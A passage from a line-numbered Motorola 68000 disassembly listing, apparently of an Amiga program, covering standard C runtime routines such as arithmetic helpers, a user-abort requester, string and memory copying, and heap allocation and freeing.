  3387.     MOVE    D2,D1            ;1F6A: 3202
  3388.     MOVE.L    (A7)+,D2        ;1F6C: 241F
  3389.     RTS                ;1F6E: 4E75
  3390. LAB_01D7:
  3391.     MOVE.L    D3,-(A7)        ;1F70: 2F03
  3392.     MOVEQ    #16,D3            ;1F72: 7610
  3393.     CMPI    #$0080,D1        ;1F74: 0C410080
  3394.     BCC    LAB_01D8        ;1F78: 64000006
  3395.     ROL.L    #8,D1            ;1F7C: E199
  3396.     SUBQ    #8,D3            ;1F7E: 5143
  3397. LAB_01D8:
  3398.     CMPI    #$0800,D1        ;1F80: 0C410800
  3399.     BCC    LAB_01D9        ;1F84: 64000006
  3400.     ROL.L    #4,D1            ;1F88: E999
  3401.     SUBQ    #4,D3            ;1F8A: 5943
  3402. LAB_01D9:
  3403.     CMPI    #$2000,D1        ;1F8C: 0C412000
  3404.     BCC    LAB_01DA        ;1F90: 64000006
  3405.     ROL.L    #2,D1            ;1F94: E599
  3406.     SUBQ    #2,D3            ;1F96: 5543
  3407. LAB_01DA:
  3408.     TST    D1            ;1F98: 4A41
  3409.     BMI    LAB_01DB        ;1F9A: 6B000006
  3410.     ROL.L    #1,D1            ;1F9E: E399
  3411.     SUBQ    #1,D3            ;1FA0: 5343
  3412. LAB_01DB:
  3413.     MOVE    D0,D2            ;1FA2: 3400
  3414.     LSR.L    D3,D0            ;1FA4: E6A8
  3415.     SWAP    D2            ;1FA6: 4842
  3416.     CLR    D2            ;1FA8: 4242
  3417.     LSR.L    D3,D2            ;1FAA: E6AA
  3418.     SWAP    D3            ;1FAC: 4843
  3419.     DIVU    D1,D0            ;1FAE: 80C1
  3420.     MOVE    D0,D3            ;1FB0: 3600
  3421.     MOVE    D2,D0            ;1FB2: 3002
  3422.     MOVE    D3,D2            ;1FB4: 3403
  3423.     SWAP    D1            ;1FB6: 4841
  3424.     MULU    D1,D2            ;1FB8: C4C1
  3425.     SUB.L    D2,D0            ;1FBA: 9082
  3426.     BCC    LAB_01DC        ;1FBC: 64000006
  3427.     SUBQ    #1,D3            ;1FC0: 5343
  3428.     ADD.L    D1,D0            ;1FC2: D081
  3429. LAB_01DC:
  3430.     MOVEQ    #0,D1            ;1FC4: 7200
  3431.     MOVE    D3,D1            ;1FC6: 3203
  3432.     SWAP    D3            ;1FC8: 4843
  3433.     ROL.L    D3,D0            ;1FCA: E7B8
  3434.     SWAP    D0            ;1FCC: 4840
  3435.     EXG    D0,D1            ;1FCE: C141
  3436.     MOVE.L    (A7)+,D3        ;1FD0: 261F
  3437.     MOVE.L    (A7)+,D2        ;1FD2: 241F
  3438.     RTS                ;1FD4: 4E75
  3439.     DC.W    $0000            ;1FD6
  3440. LAB_01DD:
  3441.     MOVEM.L    D1-D3,-(A7)        ;1FD8: 48E77000
  3442.     MOVE.L    D0,D2            ;1FDC: 2400
  3443.     BEQ.S    LAB_01DF        ;1FDE: 6720
  3444.     TST.L    D1            ;1FE0: 4A81
  3445.     BNE.S    LAB_01DE        ;1FE2: 6604
  3446.     CLR.L    D0            ;1FE4: 4280
  3447.     BRA.S    LAB_01DF        ;1FE6: 6018
  3448. LAB_01DE:
  3449.     MOVE.L    D0,D3            ;1FE8: 2600
  3450.     MULU    D1,D3            ;1FEA: C6C1
  3451.     SWAP    D2            ;1FEC: 4842
  3452.     MULU    D1,D2            ;1FEE: C4C1
  3453.     SWAP    D2            ;1FF0: 4842
  3454.     CLR    D2            ;1FF2: 4242
  3455.     ADD.L    D2,D3            ;1FF4: D682
  3456.     SWAP    D1            ;1FF6: 4841
  3457.     MULU    D1,D0            ;1FF8: C0C1
  3458.     SWAP    D0            ;1FFA: 4840
  3459.     CLR    D0            ;1FFC: 4240
  3460.     ADD.L    D3,D0            ;1FFE: D083
  3461. LAB_01DF:
  3462.     MOVEM.L    (A7)+,D1-D3        ;2000: 4CDF000E
  3463.     RTS                ;2004: 4E75
  3464.     DC.W    $0000            ;2006
  3465.     MOVE.L    4(A7),D0        ;2008: 202F0004
  3466. LAB_01E0:
  3467.     MOVEM.L    D6-D7/A5-A6,-(A7)    ;200C: 48E70306
  3468.     MOVE.L    D0,D7            ;2010: 2E00
  3469.     MOVEQ    #1,D0            ;2012: 7001
  3470.     MOVE.L    D0,24(A4)        ;2014: 29400018
  3471.     MOVEA.L    424(A4),A5        ;2018: 2A6C01A8
  3472.     MOVEQ    #0,D6            ;201C: 7C00
  3473.     BRA.S    LAB_01E4        ;201E: 6032
  3474. LAB_01E1:
  3475.     MOVE.L    4(A5),D0        ;2020: 202D0004
  3476.     TST.B    D0            ;2024: 4A00
  3477.     BEQ.S    LAB_01E2        ;2026: 6714
  3478.     BTST    #4,D0            ;2028: 08000004
  3479.     BNE.S    LAB_01E2        ;202C: 660E
  3480.     MOVE    D6,D1            ;202E: 3206
  3481.     EXT.L    D1            ;2030: 48C1
  3482.     MOVE.L    D1,D0            ;2032: 2001
  3483.     MOVEA.L    17364(A4),A0        ;2034: 206C43D4
  3484.     JSR    (A0)            ;2038: 4E90
  3485.     BRA.S    LAB_01E3        ;203A: 6012
  3486. LAB_01E2:
  3487.     BTST    #2,D0            ;203C: 08000002
  3488.     BEQ.S    LAB_01E3        ;2040: 670C
  3489.     MOVE.L    8(A5),D1        ;2042: 222D0008
  3490.     MOVEA.L    17356(A4),A6        ;2046: 2C6C43CC
  3491.     JSR    -36(A6)            ;204A: 4EAEFFDC
  3492. LAB_01E3:
  3493.     MOVEA.L    (A5),A5            ;204E: 2A55
  3494.     ADDQ    #1,D6            ;2050: 5246
  3495. LAB_01E4:
  3496.     MOVE.L    A5,D0            ;2052: 200D
  3497.     BNE.S    LAB_01E1        ;2054: 66CA
  3498.     MOVE.L    D7,-(A7)        ;2056: 2F07
  3499.     JSR    LAB_0011(PC)        ;2058: 4EBAE1AE
  3500.     ADDQ    #4,A7            ;205C: 584F
  3501.     MOVEM.L    (A7)+,D6-D7/A5-A6    ;205E: 4CDF60C0
  3502.     RTS                ;2062: 4E75
  3503.     MOVE.L    4(A7),D0        ;2064: 202F0004
  3504. LAB_01E5:
  3505.     SUBA    #$0054,A7        ;2068: 9EFC0054
  3506.     MOVEM.L    D2-D3/D5-D7/A2-A3/A5-A6,-(A7) ;206C: 48E73736
  3507.     MOVE.L    D0,D7            ;2070: 2E00
  3508.     MOVEQ    #0,D6            ;2072: 7C00
  3509.     MOVEA.L    644(A4),A0        ;2074: 206C0284
  3510.     MOVE.B    -1(A0),D6        ;2078: 1C28FFFF
  3511.     MOVEQ    #79,D0            ;207C: 704F
  3512.     CMP.L    D0,D6            ;207E: BC80
  3513.     BLE.S    LAB_01E6        ;2080: 6F02
  3514.     MOVE.L    D0,D6            ;2082: 2C00
  3515. LAB_01E6:
  3516.     MOVE.L    D6,D0            ;2084: 2006
  3517.     LEA    39(A7),A1        ;2086: 43EF0027
  3518.     BRA.S    LAB_01E8        ;208A: 6002
  3519. LAB_01E7:
  3520.     MOVE.B    (A0)+,(A1)+        ;208C: 12D8
  3521. LAB_01E8:
  3522.     SUBQ.L    #1,D0            ;208E: 5380
  3523.     BCC.S    LAB_01E7        ;2090: 64FA
  3524.     CLR.B    39(A7,D6.L)        ;2092: 42376827
  3525.     SUBA.L    A1,A1            ;2096: 93C9
  3526.     BSR    LAB_031A        ;2098: 610015CA
  3527.     JSR    -294(A6)        ;209C: 4EAEFEDA
  3528.     MOVEA.L    D0,A5            ;20A0: 2A40
  3529.     MOVEA.L    D0,A0            ;20A2: 2040
  3530.     TST.L    172(A0)            ;20A4: 4AA800AC
  3531.     BEQ.S    LAB_01EA        ;20A8: 674E
  3532.     MOVE.L    172(A5),D0        ;20AA: 202D00AC
  3533.     ASL.L    #2,D0            ;20AE: E580
  3534.     MOVEA.L    D0,A0            ;20B0: 2040
  3535.     MOVE.L    56(A0),D5        ;20B2: 2A280038
  3536.     BNE.S    LAB_01E9        ;20B6: 6604
  3537.     MOVE.L    160(A5),D5        ;20B8: 2A2D00A0
  3538. LAB_01E9:
  3539.     TST.L    D5            ;20BC: 4A85
  3540.     BEQ.S    LAB_01EA        ;20BE: 6738
  3541.     MOVE.L    D5,D1            ;20C0: 2205
  3542.     LEA    LAB_01F0(PC),A0        ;20C2: 41FA00CE
  3543.     MOVE.L    A0,D2            ;20C6: 2408
  3544.     MOVEA.L    17356(A4),A6        ;20C8: 2C6C43CC
  3545.     MOVEQ    #11,D3            ;20CC: 760B
  3546.     JSR    -48(A6)            ;20CE: 4EAEFFD0
  3547.     MOVE.L    D6,D3            ;20D2: 2606
  3548.     ADDQ.L    #1,D3            ;20D4: 5283
  3549.     MOVE.B    #$0A,39(A7,D6.L)    ;20D6: 1FBC000A6827
  3550.     MOVE.L    D5,D1            ;20DC: 2205
  3551.     LEA    39(A7),A0        ;20DE: 41EF0027
  3552.     MOVE.L    A0,D2            ;20E2: 2408
  3553.     MOVEA.L    17356(A4),A6        ;20E4: 2C6C43CC
  3554.     JSR    -48(A6)            ;20E8: 4EAEFFD0
  3555.     MOVEQ    #1,D0            ;20EC: 7001
  3556.     MOVE.L    D0,24(A4)        ;20EE: 29400018
  3557.     MOVEQ    #20,D0            ;20F2: 7014
  3558.     JSR    LAB_01E0(PC)        ;20F4: 4EBAFF16
  3559. LAB_01EA:
  3560.     LEA    LAB_01F1(PC),A1        ;20F8: 43FA00A4
  3561.     MOVEQ    #0,D0            ;20FC: 7000
  3562.     BSR    LAB_031A        ;20FE: 61001564
  3563.     JSR    -552(A6)        ;2102: 4EAEFDD8
  3564.     MOVEA.L    D0,A5            ;2106: 2A40
  3565.     TST.L    D0            ;2108: 4A80
  3566.     BNE.S    LAB_01EB        ;210A: 660C
  3567.     MOVEQ    #1,D0            ;210C: 7001
  3568.     MOVE.L    D0,24(A4)        ;210E: 29400018
  3569.     MOVEQ    #20,D0            ;2112: 7014
  3570.     JSR    LAB_01E0(PC)        ;2114: 4EBAFEF6
  3571. LAB_01EB:
  3572.     LEA    39(A7),A0        ;2118: 41EF0027
  3573.     MOVE.L    A0,468(A4)        ;211C: 294801D4
  3574.     LEA    456(A4),A1        ;2120: 43EC01C8
  3575.     LEA    476(A4),A2        ;2124: 45EC01DC
  3576.     LEA    496(A4),A3        ;2128: 47EC01F0
  3577.     MOVEA.L    A5,A6            ;212C: 2C4D
  3578.     SUBA.L    A0,A0            ;212E: 91C8
  3579.     MOVEQ    #0,D0            ;2130: 7000
  3580.     MOVE.L    D0,D1            ;2132: 2200
  3581.     MOVEQ    #125,D2            ;2134: 747D
  3582.     ADD.L    D2,D2            ;2136: D482
  3583.     MOVEQ    #60,D3            ;2138: 763C
  3584.     JSR    -348(A6)        ;213A: 4EAEFEA4
  3585.     SUBQ    #1,D0            ;213E: 5340
  3586.     BEQ.S    LAB_01EC        ;2140: 670C
  3587.     MOVEQ    #1,D0            ;2142: 7001
  3588.     MOVE.L    D0,24(A4)        ;2144: 29400018
  3589.     MOVEQ    #20,D0            ;2148: 7014
  3590.     JSR    LAB_01E0(PC)        ;214A: 4EBAFEC0
  3591. LAB_01EC:
  3592.     ASL.L    #2,D7            ;214E: E587
  3593.     LEA    LAB_01E5(PC),A0        ;2150: 41FAFF16
  3594.     LEA    8(A4),A1        ;2154: 43EC0008
  3595.     MOVE.L    A0,0(A1,D7.L)        ;2158: 23887800
  3596.     MOVEM.L    (A7)+,D2-D3/D5-D7/A2-A3/A5-A6 ;215C: 4CDF6CEC
  3597.     ADDA    #$0054,A7        ;2160: DEFC0054
  3598.     RTS                ;2164: 4E75
  3599. LAB_01ED:
  3600.     DC.W    $2A2A            ;2166
  3601.     MOVEA.L    (A5),A0            ;2168: 2055
  3602.     DC.W    $7365            ;216A
  3603.     MOVEQ    #32,D1            ;216C: 7220
  3604.     DC.W    $4162            ;216E
  3605.     BLE.S    LAB_01F8        ;2170: 6F72
  3606.     MOVEQ    #32,D2            ;2172: 7420
  3607.     ADDQ    #1,-(A5)        ;2174: 5265
  3608.     DC.W    $7175            ;2176
  3609.     DC.W    $6573            ;2178
  3610.     MOVEQ    #101,D2            ;217A: 7465
  3611.     BCC.S    LAB_01F1        ;217C: 6420
  3612.     MOVE.L    0(A2),D5        ;217E: 2A2A0000
  3613. LAB_01EE:
  3614.     DC.W    $434F            ;2182
  3615.     LINK    A4,#18766        ;2184: 4E54494E
  3616.     SUBQ    #2,D5            ;2188: 5545
  3617.     DC.W    $0000            ;218A
  3618. LAB_01EF:
  3619.     DC.W    $4142            ;218C
  3620.     DC.W    $4F52            ;218E
  3621.     ADDQ.B    #2,D0            ;2190: 5400
  3622. LAB_01F0:
  3623.     MOVE.L    10784(A2),D5        ;2192: 2A2A2A20
  3624.     DC.W    $4272            ;2196
  3625.     DC.W    $6561            ;2198
  3626.     BMI.S    LAB_01F5        ;219A: 6B3A
  3627.     MOVE.L    D0,D0            ;219C: 2000
  3628. LAB_01F1:
  3629.     BVS.S    LAB_01FC        ;219E: 696E
  3630.     MOVEQ    #117,D2            ;21A0: 7475
  3631.     BVS.S    LAB_01FD+2        ;21A2: 6974
  3632.     DC.W    $696F            ;21A4
  3633.     BGT.S    LAB_01F5        ;21A6: 6E2E
  3634.     DC.W    $6C69            ;21A8
  3635.     BHI.S    LAB_01FE        ;21AA: 6272
  3636.     BSR.S    LAB_01FF        ;21AC: 6172
  3637.     DC.W    $7900            ;21AE
  3638.     MOVE.L    4(A7),D0        ;21B0: 202F0004
  3639. LAB_01F2:
  3640.     MOVEM.L    D7/A5,-(A7)        ;21B4: 48E70104
  3641.     MOVE.L    D0,D7            ;21B8: 2E00
  3642.     CLR.L    600(A4)            ;21BA: 42AC0258
  3643.     TST.L    D7            ;21BE: 4A87
  3644.     BMI.S    LAB_01F3        ;21C0: 6B06
  3645.     CMP.L    420(A4),D7        ;21C2: BEAC01A4
  3646.     BLT.S    LAB_01F4        ;21C6: 6D0A
  3647. LAB_01F3:
  3648.     MOVEQ    #9,D0            ;21C8: 7009
  3649.     MOVE.L    D0,17332(A4)        ;21CA: 294043B4
  3650.     MOVEQ    #0,D0            ;21CE: 7000
  3651.     BRA.S    LAB_01FA        ;21D0: 6022
  3652. LAB_01F4:
  3653.     MOVEA.L    424(A4),A5        ;21D2: 2A6C01A8
  3654. LAB_01F5:
  3655.     BRA.S    LAB_01F7        ;21D6: 6004
  3656. LAB_01F6:
  3657.     MOVEA.L    (A5),A5            ;21D8: 2A55
  3658.     SUBQ.L    #1,D7            ;21DA: 5387
  3659. LAB_01F7:
  3660.     TST.L    D7            ;21DC: 4A87
  3661.     BLE.S    LAB_01F8        ;21DE: 6F04
  3662.     MOVE.L    A5,D0            ;21E0: 200D
  3663.     BNE.S    LAB_01F6        ;21E2: 66F4
  3664. LAB_01F8:
  3665.     MOVE.L    A5,D0            ;21E4: 200D
  3666.     BNE.S    LAB_01F9        ;21E6: 660A
  3667.     MOVEQ    #5,D0            ;21E8: 7005
  3668.     MOVE.L    D0,17332(A4)        ;21EA: 294043B4
  3669.     MOVEQ    #0,D0            ;21EE: 7000
  3670.     BRA.S    LAB_01FA        ;21F0: 6002
  3671. LAB_01F9:
  3672.     MOVE.L    A5,D0            ;21F2: 200D
  3673. LAB_01FA:
  3674.     MOVEM.L    (A7)+,D7/A5        ;21F4: 4CDF2080
  3675.     RTS                ;21F8: 4E75
  3676.     DC.W    $0000            ;21FA
  3677. LAB_01FB:
  3678.     SUBQ    #4,A7            ;21FC: 594F
  3679.     MOVE.L    A6,-(A7)        ;21FE: 2F0E
  3680.     MOVEQ    #0,D0            ;2200: 7000
  3681.     MOVEQ    #96,D1            ;2202: 7260
  3682.     LSL.L    #7,D1            ;2204: EF89
  3683.     BSR    LAB_031A        ;2206: 6100145C
  3684.     JSR    -306(A6)        ;220A: 4EAEFECE
  3685. LAB_01FC:
  3686.     ANDI.L    #$00003000,D0        ;220E: 028000003000
  3687.     BEQ.S    LAB_0201        ;2214: 672E
  3688. LAB_01FD:
  3689.     MOVEA    #$0001,A0        ;2216: 307C0001
  3690.     MOVEA.L    24(A4),A1        ;221A: 226C0018
  3691. LAB_01FE:
  3692.     CMPA.L    A1,A0            ;221E: B1C9
  3693. LAB_01FF:
  3694.     BEQ.S    LAB_0201        ;2220: 6722
  3695.     MOVE.L    A1,D0            ;2222: 2009
  3696.     BNE.S    LAB_0200        ;2224: 660A
  3697.     MOVEQ    #4,D0            ;2226: 7004
  3698.     MOVEA.L    (A7)+,A6        ;2228: 2C5F
  3699.     ADDQ.L    #4,A7            ;222A: 588F
  3700.     JMP    LAB_01E5(PC)        ;222C: 4EFAFE3A
  3701. LAB_0200:
  3702.     MOVEA.L    24(A4),A0        ;2230: 206C0018
  3703.     CLR.L    24(A4)            ;2234: 42AC0018
  3704.     MOVE.L    A0,4(A7)        ;2238: 2F480004
  3705.     MOVEQ    #4,D0            ;223C: 7004
  3706.     MOVEA.L    4(A7),A0        ;223E: 206F0004
  3707.     JSR    (A0)            ;2242: 4E90
  3708. LAB_0201:
  3709.     MOVEA.L    (A7)+,A6        ;2244: 2C5F
  3710.     ADDQ    #4,A7            ;2246: 584F
  3711.     RTS                ;2248: 4E75
  3712.     DC.W    $0000            ;224A
  3713.     MOVEA.L    4(A7),A0        ;224C: 206F0004
  3714.     MOVE.L    8(A7),D0        ;2250: 202F0008
  3715.     MOVE.L    12(A7),D1        ;2254: 222F000C
  3716. LAB_0202:
  3717.     SUBQ.L    #1,D1            ;2258: 5381
  3718.     BMI.S    LAB_0203        ;225A: 6B04
  3719.     CMP.B    (A0)+,D0        ;225C: B018
  3720.     BNE.S    LAB_0202        ;225E: 66F8
  3721. LAB_0203:
  3722.     SUBQ    #1,A0            ;2260: 5348
  3723.     ADDQ.L    #1,D1            ;2262: 5281
  3724.     TST.L    D1            ;2264: 4A81
  3725.     BNE    LAB_0204        ;2266: 66000004
  3726.     SUBA.L    A0,A0            ;226A: 91C8
  3727. LAB_0204:
  3728.     MOVE.L    A0,D0            ;226C: 2008
  3729.     RTS                ;226E: 4E75
  3730.     MOVEA.L    8(A7),A1        ;2270: 226F0008
  3731.     MOVEA.L    4(A7),A0        ;2274: 206F0004
  3732. LAB_0205:
  3733.     MOVE.L    A0,D0            ;2278: 2008
  3734. LAB_0206:
  3735.     TST.B    (A0)+            ;227A: 4A18
  3736.     BNE.S    LAB_0206        ;227C: 66FC
  3737.     SUBQ.L    #1,A0            ;227E: 5388
  3738. LAB_0207:
  3739.     MOVE.B    (A1)+,(A0)+        ;2280: 10D9
  3740.     BNE.S    LAB_0207        ;2282: 66FC
  3741.     RTS                ;2284: 4E75
  3742.     DC.W    $0000            ;2286
  3743.     MOVEA.L    8(A7),A1        ;2288: 226F0008
  3744.     MOVEA.L    4(A7),A0        ;228C: 206F0004
  3745.     MOVE.L    12(A7),D0        ;2290: 202F000C
  3746. LAB_0208:
  3747.     MOVE.L    A0,D1            ;2294: 2208
  3748.     BRA.S    LAB_020A        ;2296: 6004
  3749. LAB_0209:
  3750.     MOVE.B    (A1)+,(A0)+        ;2298: 10D9
  3751.     BEQ.S    LAB_020C        ;229A: 6708
  3752. LAB_020A:
  3753.     SUBQ.L    #1,D0            ;229C: 5380
  3754.     BCC.S    LAB_0209        ;229E: 64F8
  3755.     BRA.S    LAB_020D        ;22A0: 6006
  3756. LAB_020B:
  3757.     CLR.B    (A0)+            ;22A2: 4218
  3758. LAB_020C:
  3759.     SUBQ.L    #1,D0            ;22A4: 5380
  3760.     BCC.S    LAB_020B        ;22A6: 64FA
  3761. LAB_020D:
  3762.     MOVE.L    D1,D0            ;22A8: 2001
  3763.     RTS                ;22AA: 4E75
  3764.     MOVEA.L    8(A7),A1        ;22AC: 226F0008
  3765.     MOVEA.L    4(A7),A0        ;22B0: 206F0004
  3766.     MOVE.L    12(A7),D0        ;22B4: 202F000C
  3767. LAB_020E:
  3768.     MOVE.L    A0,D1            ;22B8: 2208
  3769.     TST.L    D0            ;22BA: 4A80
  3770.     BLE.S    LAB_0211        ;22BC: 6F16
  3771.     CMPA.L    A1,A0            ;22BE: B1C9
  3772.     BCS.S    LAB_0210        ;22C0: 650C
  3773.     ADDA.L    D0,A1            ;22C2: D3C0
  3774.     ADDA.L    D0,A0            ;22C4: D1C0
  3775. LAB_020F:
  3776.     MOVE.B    -(A1),-(A0)        ;22C6: 1121
  3777.     SUBQ.L    #1,D0            ;22C8: 5380
  3778.     BNE.S    LAB_020F        ;22CA: 66FA
  3779.     BRA.S    LAB_0211        ;22CC: 6006
  3780. LAB_0210:
  3781.     MOVE.B    (A1)+,(A0)+        ;22CE: 10D9
  3782.     SUBQ.L    #1,D0            ;22D0: 5380
  3783.     BNE.S    LAB_0210        ;22D2: 66FA
  3784. LAB_0211:
  3785.     MOVE.L    D1,D0            ;22D4: 2001
  3786.     RTS                ;22D6: 4E75
  3787.     MOVEA.L    4(A7),A0        ;22D8: 206F0004
  3788. LAB_0212:
  3789.     MOVE.L    A0,D0            ;22DC: 2008
  3790.     BNE.S    LAB_0213        ;22DE: 6602
  3791.     RTS                ;22E0: 4E75
  3792. LAB_0213:
  3793.     SUBQ.L    #4,D0            ;22E2: 5980
  3794.     MOVEM.L    D2-D5/A2-A3/A6,-(A7)    ;22E4: 48E73C32
  3795.     MOVE.L    17336(A4),D1        ;22E8: 222C43B8
  3796.     BNE.S    LAB_0215        ;22EC: 660E
  3797. LAB_0214:
  3798.     MOVE.L    #$00000016,17332(A4)    ;22EE: 297C0000001643B4
  3799.     MOVEM.L    (A7)+,D2-D5/A2-A3/A6    ;22F6: 4CDF4C3C
  3800.     RTS                ;22FA: 4E75
  3801. LAB_0215:
  3802.     MOVEA.L    D1,A1            ;22FC: 2241
  3803.     CMP.L    D1,D0            ;22FE: B081
  3804.     BLE.S    LAB_0216        ;2300: 6F12
  3805.     MOVE.L    D1,D2            ;2302: 2401
  3806.     ADD.L    4(A1),D2        ;2304: D4A90004
  3807.     ADDI.L    #$00000014,D2        ;2308: 068200000014
  3808.     CMP.L    D2,D0            ;230E: B082
  3809.     BGE.S    LAB_0216        ;2310: 6C02
  3810.     BRA.S    LAB_0217        ;2312: 6008
  3811. LAB_0216:
  3812.     MOVE.L    0(A1),D1        ;2314: 22290000
  3813.     BEQ.S    LAB_0214        ;2318: 67D4
  3814.     BRA.S    LAB_0215        ;231A: 60E0
  3815. LAB_0217:
  3816.     MOVE.L    D1,D3            ;231C: 2601
  3817.     ADDI.L    #$00000010,D3        ;231E: 068300000010
  3818. LAB_0218:
  3819.     CMP.L    D3,D0            ;2324: B083
  3820.     BLT.S    LAB_0214        ;2326: 6DC6
  3821.     BEQ.S    LAB_0219        ;2328: 6712
  3822.     MOVEA.L    D3,A2            ;232A: 2443
  3823.     CLR.L    D2            ;232C: 4282
  3824.     MOVE    2(A2),D2        ;232E: 342A0002
  3825.     BMI.S    LAB_0214        ;2332: 6BBA
  3826.     LSL.L    #2,D2            ;2334: E58A
  3827.     ADD.L    D2,D3            ;2336: D682
  3828.     ADDQ.L    #4,D3            ;2338: 5883
  3829.     BRA.S    LAB_0218        ;233A: 60E8
  3830. LAB_0219:
  3831.     MOVEA.L    D0,A2            ;233C: 2440
  3832.     MOVE    0(A2),D2        ;233E: 342A0000
  3833.     BPL.S    LAB_0214        ;2342: 6AAA
  3834.     BCLR    #7,0(A2)        ;2344: 08AA00070000
  3835.     CLR.L    D3            ;234A: 4283
  3836.     MOVE    2(A2),D3        ;234C: 362A0002
  3837.     ANDI    #$7FFF,D3        ;2350: 02437FFF
  3838.     LSL.L    #2,D3            ;2354: E58B
  3839.     TST    2(A2)            ;2356: 4A6A0002
  3840.     BMI.S    LAB_021B        ;235A: 6B40
  3841.     LEA    4(A2,D3.L),A3        ;235C: 47F23804
  3842.     TST    0(A3)            ;2360: 4A6B0000
  3843.     BMI.S    LAB_021B        ;2364: 6B36
  3844.     CLR.L    D4            ;2366: 4284
  3845.     MOVE    2(A3),D4        ;2368: 382B0002
  3846.     ANDI    #$7FFF,D4        ;236C: 02447FFF
  3847.     LSL.L    #2,D4            ;2370: E58C
  3848.     ADD.L    D3,D4            ;2372: D883
  3849.     ADDQ.L    #4,D4            ;2374: 5884
  3850.     LSR.L    #2,D4            ;2376: E48C
  3851.     ADDQ.L    #4,D3            ;2378: 5883
  3852.     TST    2(A3)            ;237A: 4A6B0002
  3853.     BPL.S    LAB_021A        ;237E: 6A04
  3854.     ORI    #$8000,D4        ;2380: 00448000
  3855. LAB_021A:
  3856.     MOVE    D4,2(A2)        ;2384: 35440002
  3857.     BMI.S    LAB_021B        ;2388: 6B12
  3858.     MOVE.L    D4,D5            ;238A: 2A04
  3859.     LSL.L    #2,D4            ;238C: E58C
  3860.     MOVE    4(A2,D4.L),D2        ;238E: 34324804
  3861.     ANDI    #$8000,D2        ;2392: 02428000
  3862.     OR    D2,D5            ;2396: 8A42
  3863.     MOVE    D5,4(A2,D4.L)        ;2398: 35854804
  3864. LAB_021B:
  3865.     CLR.L    D4            ;239C: 4284
  3866.     MOVE    0(A2),D4        ;239E: 382A0000
  3867.     BEQ.S    LAB_021D        ;23A2: 674C
  3868.     LSL.L    #2,D4            ;23A4: E58C
  3869.     NEG.L    D4            ;23A6: 4484
  3870.     LEA    -4(A2,D4.L),A3        ;23A8: 47F248FC
  3871.     TST    0(A3)            ;23AC: 4A6B0000
  3872.     BMI.S    LAB_021D        ;23B0: 6B3E
  3873.     CLR.L    D4            ;23B2: 4284
  3874.     MOVE    2(A3),D4        ;23B4: 382B0002
  3875.     LSL.L    #2,D4            ;23B8: E58C
  3876.     CLR.L    D5            ;23BA: 4285
  3877.     MOVE    2(A2),D5        ;23BC: 3A2A0002
  3878.     ANDI    #$7FFF,D5        ;23C0: 02457FFF
  3879.     LSL.L    #2,D5            ;23C4: E58D
  3880.     ADD.L    D5,D4            ;23C6: D885
  3881.     ADDQ.L    #4,D4            ;23C8: 5884
  3882.     ADDQ.L    #4,D3            ;23CA: 5883
  3883.     LSR.L    #2,D4            ;23CC: E48C
  3884.     TST    2(A2)            ;23CE: 4A6A0002
  3885.     BPL.S    LAB_021C        ;23D2: 6A04
  3886.     ORI    #$8000,D4        ;23D4: 00448000
  3887. LAB_021C:
  3888.     MOVE    D4,2(A3)        ;23D8: 37440002
  3889.     BMI.S    LAB_021D        ;23DC: 6B12
  3890.     MOVE.L    D4,D5            ;23DE: 2A04
  3891.     LSL.L    #2,D4            ;23E0: E58C
  3892.     MOVE    4(A3,D4.L),D2        ;23E2: 34334804
  3893.     ANDI    #$8000,D2        ;23E6: 02428000
  3894.     OR    D2,D5            ;23EA: 8A42
  3895.     MOVE    D5,4(A3,D4.L)        ;23EC: 37854804
  3896. LAB_021D:
  3897.     ADD.L    D3,8(A1)        ;23F0: D7A90008
  3898.     MOVE.L    4(A1),D3        ;23F4: 26290004
  3899.     CMP.L    4(A4),D3        ;23F8: B6AC0004
  3900.     BGT.S    LAB_021E        ;23FC: 6E0C
  3901.     CMP.L    8(A1),D3        ;23FE: B6A90008
  3902.     BNE.S    LAB_0222        ;2402: 663A
  3903.     TST.L    0(A1)            ;2404: 4AA90000
  3904.     BEQ.S    LAB_0222        ;2408: 6734
  3905. LAB_021E:
  3906.     MOVE.L    17336(A4),D0        ;240A: 202C43B8
  3907.     MOVEA.L    D0,A0            ;240E: 2040
  3908.     CMP.L    D0,D1            ;2410: B280
  3909.     BNE.S    LAB_0220        ;2412: 660C
  3910.     MOVE.L    0(A1),17336(A4)        ;2414: 2969000043B8
  3911.     BRA.S    LAB_0221        ;241A: 6010
  3912. LAB_021F:
  3913.     MOVEA.L    0(A0),A0        ;241C: 20680000
  3914. LAB_0220:
  3915.     CMP.L    0(A0),D1        ;2420: B2A80000
  3916.     BNE.S    LAB_021F        ;2424: 66F6
  3917.     MOVE.L    0(A1),0(A0)        ;2426: 216900000000
  3918. LAB_0221:
  3919.     MOVE.L    4(A1),D0        ;242C: 20290004
  3920.     ADDI.L    #$00000014,D0        ;2430: 068000000014
  3921.     BSR    LAB_031A        ;2436: 6100122C
  3922.     JSR    -210(A6)        ;243A: 4EAEFF2E
  3923. LAB_0222:
  3924.     MOVEM.L    (A7)+,D2-D5/A2-A3/A6    ;243E: 4CDF4C3C
  3925.     RTS                ;2442: 4E75
  3926.     MOVE.L    4(A7),D0        ;2444: 202F0004
  3927. LAB_0223:
  3928.     TST.L    D0            ;2448: 4A80
  3929.     BNE.S    LAB_0224        ;244A: 660C
  3930.     MOVE.L    #$00000016,17332(A4)    ;244C: 297C0000001643B4
  3931.     MOVEQ    #0,D0            ;2454: 7000
  3932.     RTS                ;2456: 4E75
  3933. LAB_0224:
  3934.     MOVEM.L    D2-D6/A2-A3/A6,-(A7)    ;2458: 48E73E32
  3935.     ADDQ.L    #3,D0            ;245C: 5680
  3936.     ANDI.L    #$FFFFFFFC,D0        ;245E: 0280FFFFFFFC
  3937.     CMPI.L    #$0001FFFC,D0        ;2464: 0C800001FFFC
  3938.     BGT    LAB_022E        ;246A: 6E0000B8
  3939.     CMP.L    4(A4),D0        ;246E: B0AC0004
  3940.     BGT    LAB_022E        ;2472: 6E0000B0
  3941.     MOVE.L    17336(A4),D3        ;2476: 262C43B8
  3942.     BEQ    LAB_022E        ;247A: 670000A8
  3943.     MOVEA.L    D3,A1            ;247E: 2243
  3944. LAB_0225:
  3945.     CMP.L    8(A1),D0        ;2480: B0A90008
  3946.     BGT.S    LAB_0228        ;2484: 6E32
  3947.     MOVE.L    17340(A4),D1        ;2486: 222C43BC
  3948.     CMP.L    12(A1),D1        ;248A: B2A9000C
  3949.     BNE.S    LAB_0228        ;248E: 6628
  3950.     LEA    16(A1),A2        ;2490: 45E90010
  3951. LAB_0226:
  3952.     TST    (A2)            ;2494: 4A52
  3953.     BMI.S    LAB_0227        ;2496: 6B10
  3954.     CLR.L    D4            ;2498: 4284
